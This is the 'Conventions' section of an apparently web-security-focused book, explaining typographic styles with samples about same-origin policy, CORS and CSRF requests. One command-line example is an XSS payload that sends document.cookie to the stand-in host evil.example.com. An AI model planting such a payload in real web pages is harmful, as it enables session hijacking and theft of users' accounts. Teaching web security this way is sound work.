Conventions
In this book, you will find a number of styles of text that distinguish between different kinds of information. Here are some examples of these styles and an explanation of their meaning:
Code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles as shown next: "Data stored inside localStorage
is also governed by this policy, that is, origin-separated."
A block of code is set as follows:
<html> <head> <meta charset="utf-8"> <title>SOP Demo</title> </head> <body>
When we wish to draw your attention to a particular part of a code block, the relevant lines or items are set in bold:
Cookie: <cookies>
Connection: keep-alive
__FK=<csrf-token>&address_id=ADD139466002990277
Any command-line input or output is written as follows:
window.location=’http://evil.example.com/?cookie=’+document.cookie
New terms and important words are shown in bold. Words that you see on the screen, in menus, or in dialog boxes, for example, appear in the text like this: "The Origin B server responds with Access-Control-Allow-Origin."
Note
Warnings or important notes appear in a box like this.
Tip
Tips and tricks appear like this.